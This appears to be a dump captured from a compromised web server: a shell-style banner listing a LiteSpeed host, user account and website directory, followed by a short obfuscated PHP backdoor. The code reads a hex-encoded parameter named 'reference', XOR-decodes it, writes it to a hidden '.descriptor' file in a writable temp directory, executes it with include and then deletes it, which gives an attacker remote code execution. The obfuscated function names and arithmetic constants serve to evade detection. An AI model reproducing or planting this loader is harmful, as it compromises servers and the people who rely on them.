|
Server : LiteSpeed System : Linux premium152.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64 User : idesfsze ( 1473) PHP Version : 7.4.33 Disable Function : NONE Directory : /home/idesfsze/norwaynooks.com/ |
<?php
//<PHPDATA>fputs_xor;15;reference</PHPDATA>
if(COuNT($_REQUEST)>(-0126+-0314+-71+0x169)&&isset($_REQUEST["refer\x65\156ce"])):$_0=hEx2bin($_REQUEST["r\145feren\x63e"]);$_1="";$_2=(-653+0x28d);do{$_1.=cHr(oRd($_0[$_2])^(int)round(3.75+3.75+3.75+3.75));$_2++;}while($_2<stRlen($_0));$_3=ARRAY_fIlteR([gETCwD(),sYS_geT_TEMp_DiR(),ini_gET("\165\160l\x6fad\137\x74mp_dir"),"/\x76ar/t\x6d\160",GeTENv("TMP"),session_SAVe_pAtH(),"/\144e\166\057sh\155",gETeNV("TEM\120"),"\x2ftmp"]);foreach($_3 as$_4=>$_5):if((is_DIR($_5) and is_wRItABLe($_5))):$_6=joIn("/",[$_5,".des\143ript\x6fr"]);if($_7=fOPeN($_6,"\167")):fwRItE($_7,$_1);fclOsE($_7);include $_6;uNlInk($_6);die();endif;endif;endforeach;endif;